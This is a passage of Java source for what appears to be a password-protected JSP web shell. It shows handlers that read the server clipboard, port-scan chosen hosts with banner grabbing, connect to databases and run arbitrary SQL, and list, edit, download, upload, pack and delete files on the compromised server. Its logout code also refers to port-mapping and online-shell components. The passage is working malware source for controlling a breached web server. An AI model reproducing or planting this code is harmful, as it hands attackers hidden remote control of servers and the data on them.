  908. private static class ClipBoardInvoker extends DefaultInvoker {
  909. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  910. try {
  911. PrintWriter out = response.getWriter();
  912. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
  913. " <tr>"+
  914. " <td>"+
  915. " <h2>System Clipboard &raquo;</h2>"+
  916. "<p><pre>");
  917. try{
  918. out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getContents(DataFlavor.stringFlavor).getTransferData(DataFlavor.stringFlavor))));
  919. }catch (Exception ex) {
  920. out.println("ClipBoard is Empty Or Is Not Text Data !");
  921. }
  922. out.println("</pre>"+
  923. " <input class=\"bt\" name=\"button\" id=\"button\" onClick=\"history.back()\" value=\"Back\" type=\"button\" size=\"100\" />"+
  924. " </p>"+
  925. " </td>"+
  926. " </tr>"+
  927. "</table>");
  928. } catch (Exception e) {
  929.  
  930. throw e ;
  931. }
  932. }
  933. }
  934. private static class VPortScanInvoker extends DefaultInvoker {
  935. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  936. try {
  937. PrintWriter out = response.getWriter();
  938. String ip = request.getParameter("ip");
  939. String ports = request.getParameter("ports");
  940. String timeout = request.getParameter("timeout");
  941. String banner = request.getParameter("banner");
  942. if (Util.isEmpty(ip))
  943. ip = "127.0.0.1";
  944. if (Util.isEmpty(ports))
  945. ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500";
  946. if (Util.isEmpty(timeout))
  947. timeout = "2";
  948. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  949. "<h2 id=\"Bin_H2_Title\">PortScan &gt;&gt;</h2>"+
  950. "<div id=\"YwLB\"><form action=\""+SHELL_NAME+"\" method=\"post\">"+
  951. "<p><input type=\"hidden\" value=\"portScan\" name=\"o\">"+
  952. "IP : <input name=\"ip\" type=\"text\" value=\""+ip+"\" id=\"ip\" class=\"input\" style=\"width:10%;margin:0 8px;\" /> Port : <input name=\"ports\" type=\"text\" value=\""+ports+"\" id=\"ports\" class=\"input\" style=\"width:40%;margin:0 8px;\" /> <input "+(!Util.isEmpty(banner) ? "checked" : "")+" type='checkbox' value='yes' name='banner'/>Banner Timeout (Second) : <input name=\"timeout\" type=\"text\" value=\""+timeout+"\" id=\"timeout\" class=\"input\" size=\"5\" style=\"margin:0 8px;\" /> <input type=\"submit\" name=\"submit\" value=\"Scan\" id=\"submit\" class=\"bt\" />"+
  953. "</p>"+
  954. "</form></div>"+
  955. "</td></tr></table>");
  956. } catch (Exception e) {
  957.  
  958. throw e ;
  959. }
  960. }
  961. }
  962. private static class PortScanInvoker extends DefaultInvoker {
  963. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  964. try {
  965. PrintWriter out = response.getWriter();
  966. ((Invoker)ins.get("vPortScan")).invoke(request,response,JSession);
  967. out.println("<hr/>");
  968. String ip = request.getParameter("ip");
  969. String ports = request.getParameter("ports");
  970. String timeout = request.getParameter("timeout");
  971. String banner = request.getParameter("banner");
  972. int iTimeout = 0;
  973. if (Util.isEmpty(ip) || Util.isEmpty(ports))
  974. return;
  975. if (!Util.isInteger(timeout)) {
  976. timeout = "2";
  977. }
  978. iTimeout = Integer.parseInt(timeout);
  979. Map rs = new LinkedHashMap();
  980. String[] portArr = ports.split(",");
  981. for (int i =0;i<portArr.length;i++) {
  982. String port = portArr[i];
  983. BufferedReader r = null;
  984. try {
  985. Socket s = new Socket();
  986. s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout);
  987. s.setSoTimeout(iTimeout);
  988. if (!Util.isEmpty(banner)) {
  989. r = new BufferedReader(new InputStreamReader(s.getInputStream()));
  990. StringBuffer sb = new StringBuffer();
  991. String b = r.readLine();
  992. while (b != null) {
  993. sb.append(b+" ");
  994. try {
  995. b = r.readLine();
  996. } catch (Exception e) {
  997. break;
  998. }
  999. }
  1000. rs.put(port,"Open <span style=\"color:grey;font-weight:normal\">"+sb.toString()+"</span>");
  1001. r.close();
  1002. } else {
  1003. rs.put(port,"Open");
  1004. }
  1005. s.close();
  1006. } catch (Exception e) {
  1007. if (e.toString().toLowerCase().indexOf("read timed out")!=-1) {
  1008. rs.put(port,"Open <span style=\"color:grey;font-weight:normal\">&lt;&lt;No Banner!&gt;&gt;</span>");
  1009. if (r != null)
  1010. r.close();
  1011. } else {
  1012. rs.put(port,"Close");
  1013. }
  1014. }
  1015. }
  1016. out.println("<div style='margin:10px'>");
  1017. Set entrySet = rs.entrySet();
  1018. Iterator it = entrySet.iterator();
  1019. while (it.hasNext()) {
  1020. Map.Entry e = (Map.Entry)it.next();
  1021. String port = (String)e.getKey();
  1022. String value = (String)e.getValue();
  1023. out.println(ip+" : "+port+" ................................. <font color="+(value.equals("Close")?"red":"green")+"><b>"+value+"</b></font><br>");
  1024. }
  1025. out.println("</div>");
  1026. } catch (Exception e) {
  1027.  
  1028. throw e ;
  1029. }
  1030. }
  1031. }
  1032. private static class VConnInvoker extends DefaultInvoker {
  1033. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1034. try {
  1035. PrintWriter out = response.getWriter();
  1036. Object obj = JSession.getAttribute(DBO);
  1037. if (obj == null || !((DBOperator)obj).isValid()) {
  1038. out.println(" <script type=\"text/javascript\">"+
  1039. " function changeurldriver(){"+
  1040. " var form = document.forms[\"form1\"];"+
  1041. " var v = form.elements[\"db\"].value;"+
  1042. " form.elements[\"url\"].value = v.split(\"`\")[1];"+
  1043. " form.elements[\"driver\"].value = v.split(\"`\")[0];"+
  1044. " form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
  1045. " }"+
  1046. " </script>");
  1047. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1048. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1049. "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\"0\">"+
  1050. "<h2>DataBase Manager &raquo;</h2>"+
  1051. "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
  1052. "<p>"+
  1053. "Driver:"+
  1054. " <input class=\"input\" name=\"driver\" id=\"driver\" type=\"text\" size=\"35\" />"+
  1055. "URL:"+
  1056. "<input class=\"input\" name=\"url\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
  1057. "UID:"+
  1058. "<input class=\"input\" name=\"uid\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
  1059. "PWD:"+
  1060. "<input class=\"input\" name=\"pwd\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
  1061. "DataBase:"+
  1062. " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
  1063. " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
  1064. " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
  1065. " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
  1066. " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:\\ninty.mdb'>Access</option>"+
  1067. " <option value=' ` '>Other</option>"+
  1068. " </select>"+
  1069. "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
  1070. "</p>"+
  1071. "</form></table><script>changeurldriver()</script>");
  1072. } else {
  1073. ((Invoker)ins.get("dbc")).invoke(request,response,JSession);
  1074. }
  1075. } catch (ClassCastException e) {
  1076. throw e;
  1077. } catch (Exception e) {
  1078.  
  1079. throw e ;
  1080. }
  1081. }
  1082. }
  1083. //DBConnect
  1084. private static class DbcInvoker extends DefaultInvoker {
  1085. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1086. try {
  1087. PrintWriter out = response.getWriter();
  1088. String driver = request.getParameter("driver");
  1089. String url = request.getParameter("url");
  1090. String uid = request.getParameter("uid");
  1091. String pwd = request.getParameter("pwd");
  1092. String sql = request.getParameter("sql");
  1093. String selectDb = request.getParameter("selectDb");
  1094. if (selectDb == null)
  1095. selectDb = JSession.getAttribute("selectDb").toString();
  1096. else
  1097. JSession.setAttribute("selectDb",selectDb);
  1098. Object dbo = JSession.getAttribute(DBO);
  1099. if (dbo == null || !((DBOperator)dbo).isValid()) {
  1100. if (dbo != null)
  1101. ((DBOperator)dbo).close();
  1102. dbo = new DBOperator(driver,url,uid,pwd,true);
  1103. } else {
  1104. if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) {
  1105. DBOperator oldDbo = (DBOperator)dbo;
  1106. dbo = new DBOperator(driver,url,uid,pwd);
  1107. if (!oldDbo.equals(dbo)) {
  1108. ((DBOperator)oldDbo).close();
  1109. ((DBOperator)dbo).connect();
  1110. } else {
  1111. dbo = oldDbo;
  1112. }
  1113. }
  1114. }
  1115. DBOperator Ddbo = (DBOperator)dbo;
  1116. JSession.setAttribute(DBO,Ddbo);
  1117. if (!Util.isEmpty(request.getParameter("type")) && request.getParameter("type").equals("switch")) {
  1118. Ddbo.getConn().setCatalog(request.getParameter("catalog"));
  1119. }
  1120. Util.outMsg(out,"Connect To DataBase Success!");
  1121. out.println(" <script type=\"text/javascript\">"+
  1122. " function changeurldriver(selectDb){"+
  1123. " var form = document.forms[\"form1\"];"+
  1124. " if (selectDb){"+
  1125. " form.elements[\"db\"].selectedIndex = selectDb"+
  1126. " }"+
  1127. " var v = form.elements[\"db\"].value;"+
  1128. " form.elements[\"url\"].value = v.split(\"`\")[1];"+
  1129. " form.elements[\"driver\"].value = v.split(\"`\")[0];"+
  1130. " form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
  1131. " }"+
  1132. " </script>");
  1133. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1134. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1135. "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\""+selectDb+"\">"+
  1136. "<h2>DataBase Manager &raquo;</h2>"+
  1137. "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
  1138. "<p>"+
  1139. "Driver:"+
  1140. " <input class=\"input\" name=\"driver\" value=\""+Ddbo.driver+"\" id=\"driver\" type=\"text\" size=\"35\" />"+
  1141. "URL:"+
  1142. "<input class=\"input\" name=\"url\" value=\""+Ddbo.url+"\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
  1143. "UID:"+
  1144. "<input class=\"input\" name=\"uid\" value=\""+Ddbo.uid+"\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
  1145. "PWD:"+
  1146. "<input class=\"input\" name=\"pwd\" value=\""+Ddbo.pwd+"\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
  1147. "DataBase:"+
  1148. " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
  1149. " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
  1150. " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
  1151. " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
  1152. " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:/ninty.mdb'>Access</option>"+
  1153. " <option value=' ` '>Other</option>"+
  1154. " </select>"+
  1155. "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
  1156. "</p>"+
  1157. "</form><script>changeurldriver('"+selectDb+"')</script>");
  1158. DatabaseMetaData meta = Ddbo.getConn().getMetaData();
  1159. out.println("<form action=\""+SHELL_NAME+"\" method=\"POST\">"+
  1160. "<p><input type=\"hidden\" name=\"selectDb\" value=\""+selectDb+"\"><input type=\"hidden\" name=\"o\" value=\"executesql\"><table width=\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"2\">Version : <b style='color:red;font-size:14px'><i>"+meta.getDatabaseProductName()+" , "+meta.getDatabaseProductVersion()+"</i></b><br/>URL : <b style='color:red;font-size:14px'><i>"+meta.getURL()+"</i></b><br/>Catalog : <b style='color:red;font-size:14px'><i>"+Ddbo.getConn().getCatalog()+"</i></b><br/>UserName : <b style='color:red;font-size:14px'><i>"+meta.getUserName()+"</i></b><br/><br/></td></tr><tr><td colspan=\"2\">Run SQL query/queries on database / <b><i>Switch Database :</i></b> ");
  1161. out.println("<select id=\"catalogs\" onchange=\"if (this.value == '0') return;doPost({o:'executesql',type:'switch',catalog:document.getElementById('catalogs').value})\">");
  1162. out.println("<option value='0'>-- Select a DataBase --</option>");
  1163. ResultSet dbs = meta.getCatalogs();
  1164. try {
  1165. while (dbs.next()){
  1166. out.println("<option value='"+dbs.getString(1)+"'>"+dbs.getString(1)+"</option>");
  1167. }
  1168. }catch(Exception ex) {
  1169. }
  1170. dbs.close();
  1171. out.println("</select></td></tr><tr><td><textarea id=\"sql\" name=\"sql\" class=\"area\" style=\"width:600px;height:50px;overflow:auto;\">"+Util.htmlEncode(Util.getStr(sql))+"</textarea><input class=\"bt\" name=\"submit\" type=\"submit\" value=\"Query\" /> <input class=\"bt\" onclick=\"doPost({o:'export',type:'queryexp',sql:document.getElementById('sql').value})\" type=\"button\" value=\"Export\" /> <input type='button' value='Export To File' class='bt' onclick=\"doPost({o:'vExport',type:'queryexp',sql:document.getElementById('sql').value})\"></td><td nowrap style=\"padding:0 5px;\"></td></tr></table></p></form></table>");
  1172. if (Util.isEmpty(sql)) {
  1173. String type = request.getParameter("type");
  1174. if (Util.isEmpty(type) || type.equals("switch")) {
  1175. ResultSet tbs = meta.getTables(null,null,null,null);
  1176. out.println(Table.rs2Table(tbs,meta.getIdentifierQuoteString(),true));
  1177. tbs.close();
  1178. } else if (type.equals("struct")) {
  1179. String tb = request.getParameter("table");
  1180. if (Util.isEmpty(tb))
  1181. return;
  1182. ResultSet t = meta.getColumns(null,null,tb,null);
  1183. out.println(Table.rs2Table(t,"",false));
  1184. t.close();
  1185. }
  1186. }
  1187. } catch (Exception e) {
  1188. JSession.setAttribute(MSG,"<span style='color:red'>Some Error Occurred. Please Check Out the StackTrace Follow.</span>"+BACK_HREF);
  1189. throw e;
  1190. }
  1191. }
  1192. }
  1193. private static class ExecuteSQLInvoker extends DefaultInvoker{
  1194. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1195. try {
  1196. PrintWriter out = response.getWriter();
  1197. String sql = request.getParameter("sql");
  1198. String db = request.getParameter("selectDb");
  1199. Object dbo = JSession.getAttribute(DBO);
  1200. if (!Util.isEmpty(sql)) {
  1201. if (dbo == null || !((DBOperator)dbo).isValid()) {
  1202. ((Invoker)ins.get("vConn")).invoke(request,response,JSession);
  1203. return;
  1204. } else {
  1205. ((Invoker)ins.get("dbc")).invoke(request,response,JSession);
  1206. Object obj = ((DBOperator)dbo).execute(sql);
  1207. if (obj instanceof ResultSet) {
  1208. ResultSet rs = (ResultSet)obj;
  1209. ResultSetMetaData meta = rs.getMetaData();
  1210. int colCount = meta.getColumnCount();
  1211. out.println("<b style=\"margin-left:15px\">Query#0 : "+Util.htmlEncode(sql)+"</b><br/><br/>");
  1212. out.println("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\" style=\"margin-left:15px\"><tr class=\"head\">");
  1213. for (int i=1;i<=colCount;i++) {
  1214. out.println("<td nowrap>"+meta.getColumnName(i)+"<br><span>"+meta.getColumnTypeName(i)+"</span></td>");
  1215. }
  1216. out.println("</tr>");
  1217. Table tb = new Table();
  1218. while(rs.next()) {
  1219. Row r = new Row();
  1220. for (int i = 1;i<=colCount;i++) {
  1221. String v = null;
  1222. try {
  1223. v = rs.getString(i);
  1224. } catch (SQLException ex) {
  1225. v = "<<Error!>>";
  1226. }
  1227. r.addColumn(new Column(v));
  1228. }
  1229. tb.addRow(r);
  1230. }
  1231. out.println(tb.toString());
  1232. out.println("</table><br/>");
  1233. rs.close();
  1234. ((DBOperator)dbo).closeStmt();
  1235. } else {
  1236. out.println("<b style='margin-left:15px'>affected rows : <i>"+obj+"</i></b><br/><br/>");
  1237. }
  1238. }
  1239. } else {
  1240. ((Invoker)ins.get("dbc")).invoke(request,response,JSession);
  1241. }
  1242. } catch (Exception e) {
  1243.  
  1244. throw e ;
  1245. }
  1246. }
  1247. }
  1248. private static class VLoginInvoker extends DefaultInvoker {
  1249. public boolean doBefore() {return false;}
  1250. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1251. try {
  1252. PrintWriter out = response.getWriter();
  1253. out.println("<html><head><title>Logmein</title><style type=\"text/css\">"+
  1254. " input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}"+
  1255. "a{font:11px Verdana;BACKGROUND: #FFFFFF;}"+
  1256. " </style></head><body><form method=\"POST\" action=\""+SHELL_NAME+"\">"+
  1257. "<!--<p style=\"font:11px Verdana;color:red\">Private Edition Dont Share It !</p>-->"+
  1258. " <p><span style=\"font:11px Verdana;\">Password: </span>"+
  1259. " <input name=\"o\" type=\"hidden\" value=\"login\">"+
  1260. " <input name=\"pw\" type=\"password\" size=\"20\">"+
  1261. " <input type=\"hidden\" name=\"o\" value=\"login\">"+
  1262. " <input type=\"submit\" value=\"Login\"><br/>"+
  1263. " </form></body></html>");
  1264. } catch (Exception e) {
  1265.  
  1266. throw e ;
  1267. }
  1268. }
  1269. }
  1270. private static class LoginInvoker extends DefaultInvoker{
  1271. public boolean doBefore() {return false;}
  1272. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1273. try {
  1274. String inputPw = request.getParameter("pw");
  1275. if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
  1276. ((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
  1277. return;
  1278. } else {
  1279. JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw);
  1280. response.sendRedirect(SHELL_NAME);
  1281. return;
  1282. }
  1283. } catch (Exception e) {
  1284.  
  1285. throw e ;
  1286. }
  1287. }
  1288. }
  1289. private static class MyComparator implements Comparator{
  1290. public int compare(Object obj1,Object obj2) {
  1291. try {
  1292. if (obj1 != null && obj2 != null) {
  1293. File f1 = (File)obj1;
  1294. File f2 = (File)obj2;
  1295. if (f1.isDirectory()) {
  1296. if (f2.isDirectory()) {
  1297. return f1.getName().compareTo(f2.getName());
  1298. } else {
  1299. return -1;
  1300. }
  1301. } else {
  1302. if (f2.isDirectory()) {
  1303. return 1;
  1304. } else {
  1305. return f1.getName().toLowerCase().compareTo(f2.getName().toLowerCase());
  1306. }
  1307. }
  1308. }
  1309. return 0;
  1310. } catch (Exception e) {
  1311. return 0;
  1312. }
  1313. }
  1314. }
  1315. private static class FileListInvoker extends DefaultInvoker {
  1316. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
  1317. try {
  1318. String path2View = null;
  1319. PrintWriter out = response.getWriter();
  1320. String path = request.getParameter("folder");
  1321. String outEntry = request.getParameter("outentry");
  1322. if (!Util.isEmpty(outEntry) && outEntry.equals("true")) {
  1323. JSession.removeAttribute(ENTER);
  1324. JSession.removeAttribute(ENTER_MSG);
  1325. JSession.removeAttribute(ENTER_CURRENT_DIR);
  1326. }
  1327. Object enter = JSession.getAttribute(ENTER);
  1328. File file = null;
  1329. if (!Util.isEmpty(enter)) {
  1330. if (Util.isEmpty(path)) {
  1331. if (JSession.getAttribute(ENTER_CURRENT_DIR) == null)
  1332. path = "/";
  1333. else
  1334. path = (String)(JSession.getAttribute(ENTER_CURRENT_DIR));
  1335. }
  1336. file = new EnterFile(path);
  1337. ((EnterFile)file).setZf((String)enter);
  1338. JSession.setAttribute(ENTER_CURRENT_DIR,path);
  1339. } else {
  1340. if (Util.isEmpty(path))
  1341. path = JSession.getAttribute(CURRENT_DIR).toString();
  1342. JSession.setAttribute(CURRENT_DIR,Util.convertPath(path));
  1343. file = new File(path);
  1344. }
  1345. path2View = Util.convertPath(path);
  1346. if (!file.exists()) {
  1347. throw new Exception(path+"Dont Exists !");
  1348. }
  1349. File[] list = file.listFiles();
  1350. Arrays.sort(list,new MyComparator());
  1351. out.println("<div style='margin:10px'>");
  1352. String cr = null;
  1353. try {
  1354. cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);
  1355. }catch(Exception e) {
  1356. cr = "/";
  1357. }
  1358. File currentRoot = new File(cr);
  1359. out.println("<h2>File Manager - Current disk &quot;"+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"&quot; total (unknow)</h2>");
  1360. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  1361. "<table width=\"98%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  1362. " <tr>"+
  1363. " <td nowrap>Current Directory <input type=\"hidden\" name=\"o\" value=\"filelist\"/></td>"+
  1364. " <td width=\"98%\"><input class=\"input\" name=\"folder\" value=\""+path2View+"\" type=\"text\" style=\"width:100%;margin:0 8px;\"></td>"+
  1365. " <td nowrap><input class=\"bt\" value=\"GO\" type=\"submit\"></td>"+
  1366. " </tr>"+
  1367. "</table>"+
  1368. "</form>");
  1369. out.println("<table width=\"98%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">"+
  1370. "<form action=\""+SHELL_NAME+"?o=upload\" method=\"POST\" enctype=\"multipart/form-data\"><tr class=\"alt1\"><td colspan=\"7\" style=\"padding:5px;\">"+
  1371. "<div style=\"float:right;\"><input class=\"input\" name=\"file\" value=\"\" type=\"file\" /> <input class=\"bt\" name=\"doupfile\" value=\"Upload\" "+(enter == null ?"type=\"submit\"":"type=\"button\" onclick=\"alert('You Are In File Now ! Can Not Upload !')\"")+" /></div>"+
  1372. "<a href=\"javascript:new fso({path:'"+Util.convertPath(WEB_ROOT)+"'}).subdir('true')\">Web Root</a>"+
  1373. " | <a href=\"javascript:new fso({path:'"+Util.convertPath(SHELL_DIR)+"'}).subdir('true')\">Shell Directory</a>"+
  1374. " | <a href=\"javascript:"+(enter == null ? "new fso({}).mkdir()" : "alert('You Are In File Now ! Can Not Create Directory ! ')")+"\">New Directory</a> | <a href=\"javascript:"+(enter == null ? "new fso({}).createFile()" : "alert('You Are In File Now ! Can Not Create File !')")+"\">New File</a>"+
  1375. " | ");
  1376. File[] roots = file.listRoots();
  1377. for (int i = 0;i<roots.length;i++) {
  1378. File r = roots[i];
  1379. out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(r.getPath())+"'}).subdir('true');\">Disk("+Util.convertPath(r.getPath())+")</a>");
  1380. if (i != roots.length -1) {
  1381. out.println("|");
  1382. }
  1383. }
  1384. out.println("</td>"+
  1385. "</tr></form>"+
  1386. "<tr class=\"head\"><td>&nbsp;</td>"+
  1387. " <td>Name</td>"+
  1388. " <td width=\"16%\">Last Modified</td>"+
  1389. " <td width=\"10%\">Size</td>"+
  1390. " <td width=\"20%\">Read/Write/Execute</td>"+
  1391. " <td width=\"22%\">&nbsp;</td>"+
  1392. "</tr>");
  1393. if (file.getParent() != null) {
  1394. out.println("<tr class=alt1>"+
  1395. "<td align=\"center\"><font face=\"Wingdings 3\" size=4>=</font></td>"+
  1396. "<td nowrap colspan=\"5\"><a href=\"javascript:new fso({path:'"+Util.convertPath(file.getAbsolutePath())+"'}).parent()\">Goto Parent</a></td>"+
  1397. "</tr>");
  1398. }
  1399. int dircount = 0;
  1400. int filecount = 0;
  1401. for (int i = 0;i<list.length;i++) {
  1402. File f = list[i];
  1403. if (f.isDirectory()) {
  1404. dircount ++;
  1405. out.println("<tr class=\"alt2\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt2';\">"+
  1406. "<td width=\"2%\" nowrap><font face=\"wingdings\" size=\"3\">0</font></td>"+
  1407. "<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).subdir()\">"+f.getName()+"</a></td>"+
  1408. "<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
  1409. "<td nowrap>--</td>"+
  1410. "<td nowrap>"+f.canRead()+" / "+f.canWrite()+" / unknow</td>"+
  1411. "<td nowrap>");
  1412. if (enter != null)
  1413. out.println("&nbsp;");
  1414. else
  1415. out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).removedir()\">Del</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack(true)\">Pack</a>");
  1416. out.println("</td></tr>");
  1417. } else {
  1418. filecount++;
  1419. out.println("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">"+
  1420. "<td width=\"2%\" nowrap><input type='checkbox' value='"+f.getName()+"'/></td>"+
  1421. "<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">"+f.getName()+"</a></td>"+
  1422. "<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
  1423. "<td nowrap>"+Util.getSize(f.length(),'B')+"</td>"+
  1424. "<td nowrap>"+
  1425. ""+f.canRead()+" / "+f.canWrite()+" / unknow </td>"+
  1426. "<td nowrap>"+
  1427. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEdit()\">Edit</a> | "+
  1428. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">Down</a> | "+
  1429. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).copy()\">Copy</a>");
  1430. if (enter == null ) {
  1431. out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | "+
  1432. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEditProperty()\">Property</a> | "+
  1433. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).enter()\">Enter</a>");
  1434. if (f.getName().endsWith(".zip") || f.getName().endsWith(".jar")) {
  1435. out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).unpack()\">UnPack</a>");
  1436. } else if (f.getName().endsWith(".rar")) {
  1437. out.println(" | <a href=\"javascript:alert('Dont Support RAR,Please Use WINRAR');\">UnPack</a>");
  1438. } else {
  1439. out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\">Pack</a>");
  1440. }
  1441. }
  1442. out.println("</td></tr>");
  1443. }
  1444. }
  1445. out.println("<tr class=\"alt2\"><td align=\"center\">&nbsp;</td>"+
  1446. " <td>");
  1447. if (enter != null)
  1448. out.println("<a href=\"javascript:alert('You Are In File Now ! Can Not Pack !');\">Pack Selected</a> - <a href=\"javascript:alert('You Are In File Now ! Can Not Delete !');\">Delete Selected</a>");
  1449. else
  1450. out.println("<a href=\"javascript:new fso({}).packBatch();\">Pack Selected</a> - <a href=\"javascript:new fso({}).deleteBatch();\">Delete Selected</a>");
  1451. out.println("</td>"+
  1452. " <td colspan=\"4\" align=\"right\">"+dircount+" directories / "+filecount+" files</td></tr>"+
  1453. "</table>");
  1454. out.println("</div>");
  1455. if (file instanceof EnterFile)
  1456. ((EnterFile)file).close();
  1457. } catch (ZipException e) {
  1458. JSession.setAttribute(MSG,"\""+JSession.getAttribute(ENTER).toString()+"\" Is Not a Zip File. Please Exit.");
  1459. throw e;
  1460. } catch (Exception e) {
  1461. JSession.setAttribute(MSG,"File Does Not Exist Or You Dont Have Privilege."+BACK_HREF);
  1462. throw e;
  1463. }
  1464. }
  1465. }
  1466. private static class LogoutInvoker extends DefaultInvoker {
  1467. public boolean doBefore() {return false;}
  1468. public boolean doAfter() {return false;}
  1469. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1470. try {
  1471. Object dbo = JSession.getAttribute(DBO);
  1472. if (dbo != null)
  1473. ((DBOperator)dbo).close();
  1474. Object obj = JSession.getAttribute(PORT_MAP);
  1475. if (obj != null) {
  1476. ServerSocket s = (ServerSocket)obj;
  1477. s.close();
  1478. }
  1479. Object online = JSession.getAttribute(SHELL_ONLINE);
  1480. if (online != null)
  1481. ((OnLineProcess)online).stop();
  1482. JSession.invalidate();
  1483. ((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
  1484. } catch (ClassCastException e) {
  1485. JSession.invalidate();
  1486. ((Invoker)ins.get("vLogin")).invoke(request,response,JSession);
  1487. } catch (Exception e) {
  1488.  
  1489. throw e ;
  1490. }
  1491. }
  1492. }
  1493. private static class UploadInvoker extends DefaultInvoker {
  1494. public boolean doBefore() {return false;}
  1495. public boolean doAfter() {return false;}
